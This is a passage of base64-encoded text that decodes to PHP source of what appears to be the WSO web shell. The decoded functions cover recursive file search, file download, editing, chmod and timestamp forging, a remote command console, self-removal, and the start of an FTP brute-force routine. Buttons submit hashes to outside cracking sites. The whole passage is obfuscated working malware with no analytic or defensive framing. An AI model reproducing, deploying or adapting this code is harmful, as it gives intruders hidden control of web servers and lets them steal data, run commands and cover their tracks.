ZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJyBzdHlsZT0nd2lkdGg6MTAw
JSc+PC90ZD48L3RyPgoJCQk8dHI+PHRkPk5hbWU6PC90ZD48dGQ+PGlucHV0IHR5
cGU9J3RleHQnIG5hbWU9J2ZpbGVuYW1lJyB2YWx1ZT0nKicgc3R5bGU9J3dpZHRo
OjEwMCUnPjwvdGQ+PC90cj4KCQkJPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlw
ZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj4KCQkJPC90YWJsZT48L2Zv
cm0+IjsKCglmdW5jdGlvbiB3c29SZWN1cnNpdmVHbG9iKCRwYXRoKSB7CgkJaWYo
c3Vic3RyKCRwYXRoLCAtMSkgIT0gJy8nKQoJCQkkcGF0aC49Jy8nOwoJCSRwYXRo
cyA9IEBhcnJheV91bmlxdWUoQGFycmF5X21lcmdlKEBnbG9iKCRwYXRoLiRfUE9T
VFsncDMnXSksIEBnbG9iKCRwYXRoLicqJywgR0xPQl9PTkxZRElSKSkpOwoJCWlm
KGlzX2FycmF5KCRwYXRocykmJkBjb3VudCgkcGF0aHMpKSB7CgkJCWZvcmVhY2go
JHBhdGhzIGFzICRpdGVtKSB7CgkJCQlpZihAaXNfZGlyKCRpdGVtKSl7CgkJCQkJ
aWYoJHBhdGghPSRpdGVtKQoJCQkJCQl3c29SZWN1cnNpdmVHbG9iKCRpdGVtKTsK
CQkJCX0gZWxzZSB7CgkJCQkJaWYoZW1wdHkoJF9QT1NUWydwMiddKSB8fCBAc3Ry
cG9zKGZpbGVfZ2V0X2NvbnRlbnRzKCRpdGVtKSwgJF9QT1NUWydwMiddKSE9PWZh
bHNlKQoJCQkJCQllY2hvICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNU
b29sc1wiLG51bGwsXCIiLnVybGVuY29kZSgkaXRlbSkuIlwiLCBcInZpZXdcIixc
IlwiKSc+Ii5odG1sc3BlY2lhbGNoYXJzKCRpdGVtKS4iPC9hPjxicj4iOwoJCQkJ
fQoJCQl9CgkJfQoJfQoJaWYoQCRfUE9TVFsncDMnXSkKCQl3c29SZWN1cnNpdmVH
bG9iKCRfUE9TVFsnYyddKTsKCWVjaG8gIjwvZGl2Pjxicj48aDE+U2VhcmNoIGZv
ciBoYXNoOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgoJCTxmb3JtIG1ldGhvZD0n
cG9zdCcgdGFyZ2V0PSdfYmxhbmsnIG5hbWU9J2hmJz4KCQkJPGlucHV0IHR5cGU9
J3RleHQnIG5hbWU9J2hhc2gnIHN0eWxlPSd3aWR0aDoyMDBweDsnPjxicj4KICAg
ICAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWN0JyB2YWx1ZT0n
ZmluZCcvPgoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0naGFzaGNyYWNr
aW5nLnJ1JyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwczovL2hh
c2hjcmFja2luZy5ydS9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+
PGJyPgoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nbWQ1LnJlZG5vaXpl
LmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL21kNS5y
ZWRub2l6ZS5jb20vP3E9Jytkb2N1bWVudC5oZi5oYXNoLnZhbHVlKycmcz1tZDUn
O2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgogICAgICAgICAgICA8aW5wdXQg
dHlwZT0nYnV0dG9uJyB2YWx1ZT0nY3JhY2tmb3IubWUnIG9uY2xpY2s9XCJkb2N1
bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9jcmFja2Zvci5tZS9pbmRleC5waHAnO2Rv
Y3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgoJCTwvZm9ybT48L2Rpdj4iOwoJd3Nv
Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7CglpZigg
aXNzZXQoJF9QT1NUWydwMSddKSApCgkJJF9QT1NUWydwMSddID0gdXJsZGVjb2Rl
KCRfUE9TVFsncDEnXSk7CglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7
CgkJaWYoQGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBAaXNfcmVhZGFibGUoJF9Q
T1NUWydwMSddKSkgewoJCQlvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7
CgkJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmls
ZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsKCQkJaWYgKGZ1bmN0aW9u
X2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgewoJCQkJJHR5cGUgPSBAbWlt
ZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSddKTsKCQkJCWhlYWRlcigiQ29udGVu
dC1UeXBlOiAiIC4gJHR5cGUpOwoJCQl9IGVsc2UKICAgICAgICAgICAgICAgIGhl
YWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsK
CQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsKCQkJaWYoJGZwKSB7
CgkJCQl3aGlsZSghQGZlb2YoJGZwKSkKCQkJCQllY2hvIEBmcmVhZCgkZnAsIDEw
MjQpOwoJCQkJZmNsb3NlKCRmcCk7CgkJCX0KCQl9ZXhpdDsKCX0KCWlmKCBAJF9Q
T1NUWydwMiddID09ICdta2ZpbGUnICkgewoJCWlmKCFmaWxlX2V4aXN0cygkX1BP
U1RbJ3AxJ10pKSB7CgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7
CgkJCWlmKCRmcCkgewoJCQkJJF9QT1NUWydwMiddID0gImVkaXQiOwoJCQkJZmNs
b3NlKCRmcCk7CgkJCX0KCQl9Cgl9Cgl3c29IZWFkZXIoKTsKCWVjaG8gJzxoMT5G
aWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWlmKCAhZmlsZV9l
eGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7CgkJZWNobyAnRmlsZSBub3QgZXhpc3Rz
JzsKCQl3c29Gb290ZXIoKTsKCQlyZXR1cm47Cgl9CgkkdWlkID0gQHBvc2l4X2dl
dHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CglpZighJHVpZCkgewoJ
CSR1aWRbJ25hbWUnXSA9IEBmaWxlb3duZXIoJF9QT1NUWydwMSddKTsKCQkkZ2lk
WyduYW1lJ10gPSBAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSk7Cgl9IGVsc2UgJGdp
ZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSkpOwoJ
ZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycyhAYmFz
ZW5hbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNf
ZmlsZSgkX1BPU1RbJ3AxJ10pP3dzb1ZpZXdTaXplKGZpbGVzaXplKCRfUE9TVFsn
cDEnXSkpOictJykuJyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy53c29QZXJt
c0NvbG9yKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5Pd25lci9Hcm91cDo8L3NwYW4+
ICcuJHVpZFsnbmFtZSddLicvJy4kZ2lkWyduYW1lJ10uJzxicj4nOwoJZWNobyAn
PHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxm
aWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3Nw
YW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10p
KS4nIDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6
cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJyPic7CglpZiggZW1w
dHkoJF9QT1NUWydwMiddKSApCgkJJF9QT1NUWydwMiddID0gJ3ZpZXcnOwoJaWYo
IGlzX2ZpbGUoJF9QT1NUWydwMSddKSApCgkJJG0gPSBhcnJheSgnVmlldycsICdI
aWdobGlnaHQnLCAnRG93bmxvYWQnLCAnSGV4ZHVtcCcsICdFZGl0JywgJ0NobW9k
JywgJ1JlbmFtZScsICdUb3VjaCcpOwoJZWxzZQoJCSRtID0gYXJyYXkoJ0NobW9k
JywgJ1JlbmFtZScsICdUb3VjaCcpOwoJZm9yZWFjaCgkbSBhcyAkdikKCQllY2hv
ICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2Rl
KCRfUE9TVFsncDEnXSkgLiAnXCcsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicu
KChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08
L2I+JzokdikuJzwvYT4gJzsKCWVjaG8gJzxicj48YnI+JzsKCXN3aXRjaCgkX1BP
U1RbJ3AyJ10pIHsKCQljYXNlICd2aWV3JzoKCQkJZWNobyAnPHByZSBjbGFzcz1t
bDE+JzsKCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKCQkJaWYo
JGZwKSB7CgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQoJCQkJCWVjaG8gaHRtbHNw
ZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CgkJCQlAZmNsb3NlKCRmcCk7
CgkJCX0KCQkJZWNobyAnPC9wcmU+JzsKCQkJYnJlYWs7CgkJY2FzZSAnaGlnaGxp
Z2h0JzoKCQkJaWYoIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgewoJCQkJ
ZWNobyAnPGRpdiBjbGFzcz1tbDEgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNl
MWUxZTE7Y29sb3I6YmxhY2s7Ij4nOwoJCQkJJGNvZGUgPSBAaGlnaGxpZ2h0X2Zp
bGUoJF9QT1NUWydwMSddLHRydWUpOwoJCQkJZWNobyBzdHJfcmVwbGFjZShhcnJh
eSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250Picp
LCRjb2RlKS4nPC9kaXY+JzsKCQkJfQoJCQlicmVhazsKCQljYXNlICdjaG1vZCc6
CgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKCQkJCSRwZXJtcyA9IDA7
CgkJCQlmb3IoJGk9c3RybGVuKCRfUE9TVFsncDMnXSktMTskaT49MDstLSRpKQoJ
CQkJCSRwZXJtcyArPSAoaW50KSRfUE9TVFsncDMnXVskaV0qcG93KDgsIChzdHJs
ZW4oJF9QT1NUWydwMyddKS0kaS0xKSk7CgkJCQlpZighQGNobW9kKCRfUE9TVFsn
cDEnXSwgJHBlcm1zKSkKCQkJCQllY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25z
ITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7
CgkJCX0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsKCQkJZWNobyAnPHNjcmlwdD5wM189
IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVy
bGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsdGhpcy5jaG1vZC52YWx1
ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZh
bHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3Ax
J10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3Jt
Pic7CgkJCWJyZWFrOwoJCWNhc2UgJ2VkaXQnOgoJCQlpZiggIWlzX3dyaXRhYmxl
KCRfUE9TVFsncDEnXSkpIHsKCQkJCWVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJs
ZSc7CgkJCQlicmVhazsKCQkJfQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkg
KSB7CgkJCQkkdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKTsKCQkJCSRf
UE9TVFsncDMnXSA9IHN1YnN0cigkX1BPU1RbJ3AzJ10sMSk7CgkJCQkkZnAgPSBA
Zm9wZW4oJF9QT1NUWydwMSddLCJ3Iik7CgkJCQlpZigkZnApIHsKCQkJCQlAZndy
aXRlKCRmcCwkX1BPU1RbJ3AzJ10pOwoJCQkJCUBmY2xvc2UoJGZwKTsKCQkJCQll
Y2hvICdTYXZlZCE8YnI+PHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+JzsKCQkJCQlA
dG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKTsKCQkJCX0KCQkJfQoJCQll
Y2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2Rl
KCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCxcJzFcJyt0aGlzLnRleHQudmFsdWUp
O3JldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPXRleHQgY2xhc3M9YmlnYXJl
YT4nOwoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOwoJCQlpZigk
ZnApIHsKCQkJCXdoaWxlKCAhQGZlb2YoJGZwKSApCgkJCQkJZWNobyBodG1sc3Bl
Y2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsKCQkJCUBmY2xvc2UoJGZwKTsK
CQkJfQoJCQllY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1
ZT0iPj4iPjwvZm9ybT4nOwoJCQlicmVhazsKCQljYXNlICdoZXhkdW1wJzoKCQkJ
JGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTsKCQkJJG4gPSAw
OwoJCQkkaCA9IGFycmF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsKCQkJJGxlbiA9
IHN0cmxlbigkYyk7CgkJCWZvciAoJGk9MDsgJGk8JGxlbjsgKyskaSkgewoJCQkJ
JGhbMV0gLj0gc3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsKCQkJCXN3
aXRjaCAoIG9yZCgkY1skaV0pICkgewoJCQkJCWNhc2UgMDogICRoWzJdIC49ICcg
JzsgYnJlYWs7CgkJCQkJY2FzZSA5OiAgJGhbMl0gLj0gJyAnOyBicmVhazsKCQkJ
CQljYXNlIDEwOiAkaFsyXSAuPSAnICc7IGJyZWFrOwoJCQkJCWNhc2UgMTM6ICRo
WzJdIC49ICcgJzsgYnJlYWs7CgkJCQkJZGVmYXVsdDogJGhbMl0gLj0gJGNbJGld
OyBicmVhazsKCQkJCX0KCQkJCSRuKys7CgkJCQlpZiAoJG4gPT0gMzIpIHsKCQkJ
CQkkbiA9IDA7CgkJCQkJaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50
ZignJTA4WCcsJGkrMSkuJzxicj4nO30KCQkJCQkkaFsxXSAuPSAnPGJyPic7CgkJ
CQkJJGhbMl0gLj0gIlxuIjsKCQkJCX0KCQkgCX0KCQkJZWNobyAnPHRhYmxlIGNl
bGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPSMyMjIyMjI+PHRyPjx0
ZCBiZ2NvbG9yPSMzMzMzMzM+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3Jt
YWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9y
PSMyODI4Mjg+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMz
MzMzMzM+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3Rk
PjwvdHI+PC90YWJsZT4nOwoJCQlicmVhazsKCQljYXNlICdyZW5hbWUnOgoJCQlp
ZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CgkJCQlpZighQHJlbmFtZSgkX1BP
U1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpCgkJCQkJZWNobyAnQ2FuXCd0IHJlbmFt
ZSE8YnI+JzsKCQkJCWVsc2UKCQkJCQlkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGws
IicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4n
KTsKCQkJfQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsXCcn
IC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCx0aGlzLm5hbWUu
dmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1l
IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5w
dXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJ
Y2FzZSAndG91Y2gnOgoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CgkJ
CQkkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOwoJCQkJaWYoJHRpbWUp
IHsKCQkJCQlpZighdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSkKCQkJ
CQkJZWNobyAnRmFpbCEnOwoJCQkJCWVsc2UKCQkJCQkJZWNobyAnVG91Y2hlZCEn
OwoJCQkJfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCEnOwoJCQl9CgkJCWNs
ZWFyc3RhdGNhY2hlKCk7CgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0
Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9Q
T1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBm
YWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRl
KCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlu
cHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CgkJCWJyZWFrOwoJ
fQoJZWNobyAnPC9kaXY+JzsKCXdzb0Zvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rp
b25Db25zb2xlKCkgewogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgIWVt
cHR5KCRfUE9TVFsncDInXSkpIHsKICAgICAgICBXU09zZXRjb29raWUobWQ1KCRf
U0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnLCB0cnVlKTsKICAg
ICAgICAkX1BPU1RbJ3AxJ10gLj0gJyAyPiYxJzsKICAgIH0gZWxzZWlmKCFlbXB0
eSgkX1BPU1RbJ3AxJ10pKQogICAgICAgIFdTT3NldGNvb2tpZShtZDUoJF9TRVJW
RVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCcsIDApOwoKCWlmKGlzc2V0
KCRfUE9TVFsnYWpheCddKSkgewoJCVdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJb
J0hUVFBfSE9TVCddKS4nYWpheCcsIHRydWUpOwoJCW9iX3N0YXJ0KCk7CgkJZWNo
byAiZC5jZi5jbWQudmFsdWU9Jyc7XG4iOwoJCSR0ZW1wID0gQGljb252KCRfUE9T
VFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIuJF9QT1NU
WydwMSddLiJcbiIud3NvRXgoJF9QT1NUWydwMSddKSwiXG5cclx0XFwnXDAiKSk7
CgkJaWYocHJlZ19tYXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDEn
XSwkbWF0Y2gpKQl7CgkJCWlmKEBjaGRpcigkbWF0Y2hbMV0pKSB7CgkJCQkkR0xP
QkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7CgkJCQllY2hvICJjXz0nIi4kR0xPQkFM
U1snY3dkJ10uIic7IjsKCQkJfQoJCX0KCQllY2hvICJkLmNmLm91dHB1dC52YWx1
ZSs9JyIuJHRlbXAuIic7IjsKCQllY2hvICJkLmNmLm91dHB1dC5zY3JvbGxUb3Ag
PSBkLmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7IjsKCQkkdGVtcCA9IG9iX2dldF9j
bGVhbigpOwoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CgkJZXhp
dDsKCX0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9T
VFsncDEnXSkpCgkJV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NU
J10pLidhamF4JywgMCk7Cgl3c29IZWFkZXIoKTsKICAgIGVjaG8gIjxzY3JpcHQ+
CmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZ
RE9XTik7CnZhciBjbWRzID0gbmV3IEFycmF5KCcnKTsKdmFyIGN1ciA9IDA7CmZ1
bmN0aW9uIGtwKGUpIHsKCXZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNo
IDogZS5rZXlDb2RlOwoJaWYobiA9PSAzOCkgewoJCWN1ci0tOwoJCWlmKGN1cj49
MCkKCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwoJCWVsc2UK
CQkJY3VyKys7Cgl9IGVsc2UgaWYobiA9PSA0MCkgewoJCWN1cisrOwoJCWlmKGN1
ciA8IGNtZHMubGVuZ3RoKQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRz
W2N1cl07CgkJZWxzZQoJCQljdXItLTsKCX0KfQpmdW5jdGlvbiBhZGQoY21kKSB7
CgljbWRzLnBvcCgpOwoJY21kcy5wdXNoKGNtZCk7CgljbWRzLnB1c2goJycpOwoJ
Y3VyID0gY21kcy5sZW5ndGgtMTsKfQo8L3NjcmlwdD4iOwoJZWNobyAnPGgxPkNv
bnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3Vi
bWl0PSJpZihkLmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkLmNmLm91dHB1dC52
YWx1ZT1cJ1wnO2QuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQo
dGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVs
bCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wn
KTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJy
b3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFt
ZT1hbGlhcz4nOwoJZm9yZWFjaCgkR0xPQkFMU1snYWxpYXNlcyddIGFzICRuID0+
ICR2KSB7CgkJaWYoJHYgPT0gJycpIHsKCQkJZWNobyAnPG9wdGdyb3VwIGxhYmVs
PSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOwoJCQlj
b250aW51ZTsKCQl9CgkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lh
bGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOwoJfQoJCgllY2hvICc8L3Nl
bGVjdD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGQuY2YuYWxpYXMu
dmFsdWUpO2lmKGQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkLmNmLmFs
aWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNl
e2cobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5j
aGVja2VkPzE6XCdcJyk7fSIgdmFsdWU9Ij4+Ij4gPG5vYnI+PGlucHV0IHR5cGU9
Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oQCRfQ09PS0lFW21kNSgkX1NF
UlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5k
IHVzaW5nIEFKQVggPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zaG93X2Vycm9y
cyB2YWx1ZT0xICcuKCFlbXB0eSgkX1BPU1RbJ3AyJ10pfHwkX0NPT0tJRVttZDUo
JF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCddPydjaGVja2Vk
JzonJykuJz4gcmVkaXJlY3Qgc3RkZXJyIHRvIHN0ZG91dCAoMj4mMSk8L25vYnI+
PGJyLz48dGV4dGFyZWEgY2xhc3M9YmlnYXJlYSBuYW1lPW91dHB1dCBzdHlsZT0i
Ym9yZGVyLWJvdHRvbTowO21hcmdpbjowOyIgcmVhZG9ubHk+JzsKCWlmKCFlbXB0
eSgkX1BPU1RbJ3AxJ10pKSB7CgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIu
JF9QT1NUWydwMSddLiJcbiIud3NvRXgoJF9QT1NUWydwMSddKSk7Cgl9CgllY2hv
ICc8L3RleHRhcmVhPjx0YWJsZSBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjZGY1
O2JhY2tncm91bmQtY29sb3I6IzU1NTtib3JkZXItdG9wOjBweDsiIGNlbGxwYWRk
aW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0i
MSUiPiQ8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJi
b3JkZXI6MHB4O3dpZHRoOjEwMCU7IiBvbmtleWRvd249ImtwKGV2ZW50KTsiPjwv
dGQ+PC90cj48L3RhYmxlPic7CgllY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5k
LmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7Cgl3c29Gb290ZXIoKTsKfQoKZnVu
Y3Rpb24gYWN0aW9uTG9nb3V0KCkgewogICAgc2V0Y29va2llKG1kNSgkX1NFUlZF
UlsnSFRUUF9IT1NUJ10pLCAnJywgdGltZSgpIC0gMzYwMCk7CglkaWUoJ2J5ZSEn
KTsKfQoKZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsKCglpZigkX1BPU1Rb
J3AxJ10gPT0gJ3llcycpCgkJaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxk
K1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkKCQkJZGllKCdTaGVsbCBoYXMgYmVl
biByZW1vdmVkJyk7CgkJZWxzZQoJCQllY2hvICd1bmxpbmsgZXJyb3IhJzsKICAg
IGlmKCRfUE9TVFsncDEnXSAhPSAneWVzJykKICAgICAgICB3c29IZWFkZXIoKTsK
CWVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+UmVhbGx5
IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9
ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsKCXdzb0Zvb3Rl
cigpOwp9CgpmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkgewoJd3NvSGVhZGVy
KCk7CglpZiggaXNzZXQoJF9QT1NUWydwcm90byddKSApIHsKCQllY2hvICc8aDE+
UmVzdWx0czwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzcGFuPlR5cGU6PC9zcGFu
PiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwcm90byddKS4nIDxzcGFuPlNl
cnZlcjo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NlcnZlcidd
KS4nPGJyPic7CgkJaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnZnRwJyApIHsKCQkJ
ZnVuY3Rpb24gd3NvQnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7
